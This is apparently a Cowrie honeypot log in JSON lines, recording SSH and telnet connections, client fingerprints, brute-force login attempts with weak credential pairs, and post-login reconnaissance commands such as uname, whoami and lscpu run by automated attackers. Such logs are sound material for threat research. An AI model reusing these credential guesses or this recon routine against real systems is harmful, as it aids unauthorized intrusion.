{"eventid":"cowrie.login.failed","username":"root","password":"momo123","message":"login attempt [root/momo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:58.172280Z","src_ip":"94.26.106.229","session":"a772fd3e6bfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41184,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a5558e6e4e1","protocol":"ssh","message":"New connection: 45.156.87.204:41184 (159.203.135.109:22) [session: 8a5558e6e4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:58.266689Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:58.271788Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:58.297733Z","src_ip":"45.156.87.204","session":"8a5558e6e4e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.74628210067749,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:58.364828Z","src_ip":"152.42.224.71","session":"abeb94624748","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:58.370108Z","src_ip":"45.156.87.204","session":"8a5558e6e4e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:58.509299Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:58.512973Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42152,"dst_ip":"10.17.0.5","dst_port":23,"session":"aff84924acf9","protocol":"telnet","message":"New connection: 152.42.224.71:42152 (10.17.0.5:23) [session: aff84924acf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:58.562982Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:58.683662Z","src_ip":"45.156.87.204","session":"8a5558e6e4e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:58.868847Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42162,"dst_ip":"10.17.0.5","dst_port":23,"session":"e19a2899c733","protocol":"telnet","message":"New connection: 152.42.224.71:42162 (10.17.0.5:23) [session: e19a2899c733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:58.881193Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:59.119457Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:59.122810Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:59.266107Z","src_ip":"94.26.106.229","session":"a772fd3e6bfe","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:59.478987Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:59.720269Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:59.724300Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:59.811239Z","src_ip":"45.156.87.204","session":"8a5558e6e4e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:00.081256Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:00.337945Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:00.342199Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":53200,"dst_ip":"159.203.135.109","dst_port":22,"session":"3db491a81b3c","protocol":"ssh","message":"New connection: 94.26.106.229:53200 (159.203.135.109:22) [session: 3db491a81b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:00.350479Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":39314,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac913a9a92d4","protocol":"ssh","message":"New connection: 103.195.236.96:39314 (10.17.0.5:22) [session: ac913a9a92d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:00.355978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:00.362374Z","src_ip":"94.26.106.229","session":"3db491a81b3c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:00.367341Z","src_ip":"103.195.236.96","session":"ac913a9a92d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:00.454394Z","src_ip":"94.26.106.229","session":"3db491a81b3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:00.613128Z","src_ip":"103.195.236.96","session":"ac913a9a92d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:00.701345Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"P@ssw0rd","message":"login attempt [oracle/P@ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:00.723509Z","src_ip":"94.26.106.229","session":"3db491a81b3c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:00.946701Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:00.951097Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:01.045038Z","src_ip":"94.26.106.229","session":"3db491a81b3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:01.051202Z","src_ip":"94.26.106.229","session":"3db491a81b3c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:01.135506Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.3","message":"Connection lost after 16.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:01.141733Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:01.147361Z","src_ip":"94.26.106.229","session":"3db491a81b3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:01.152457Z","src_ip":"94.26.106.229","session":"3db491a81b3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rerehepf","message":"login attempt [root/rerehepf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:01.355426Z","src_ip":"103.195.236.96","session":"ac913a9a92d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41198,"dst_ip":"159.203.135.109","dst_port":22,"session":"15f33f3d02df","protocol":"ssh","message":"New connection: 45.156.87.204:41198 (159.203.135.109:22) [session: 15f33f3d02df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:01.926180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:01.931689Z","src_ip":"45.156.87.204","session":"15f33f3d02df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:02.016785Z","src_ip":"45.156.87.204","session":"15f33f3d02df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:02.272957Z","src_ip":"45.156.87.204","session":"15f33f3d02df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.85162353515625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:02.288645Z","src_ip":"152.42.224.71","session":"d905d2a67cec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":53210,"dst_ip":"159.203.135.109","dst_port":22,"session":"e716beea1b40","protocol":"ssh","message":"New connection: 94.26.106.229:53210 (159.203.135.109:22) [session: e716beea1b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:02.449088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:02.454876Z","src_ip":"94.26.106.229","session":"e716beea1b40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:02.543506Z","src_ip":"94.26.106.229","session":"e716beea1b40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:02.604263Z","src_ip":"103.195.236.96","session":"ac913a9a92d4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:02.808517Z","src_ip":"94.26.106.229","session":"e716beea1b40","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:03.037932Z","src_ip":"94.26.106.229","session":"e716beea1b40","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:03.042599Z","src_ip":"94.26.106.229","session":"e716beea1b40","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:03.134745Z","src_ip":"94.26.106.229","session":"e716beea1b40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:03.141719Z","src_ip":"94.26.106.229","session":"e716beea1b40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.86.117","src_port":33188,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec887ecf2d01","protocol":"ssh","message":"New connection: 43.128.86.117:33188 (159.203.135.109:22) [session: ec887ecf2d01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:03.493950Z"}
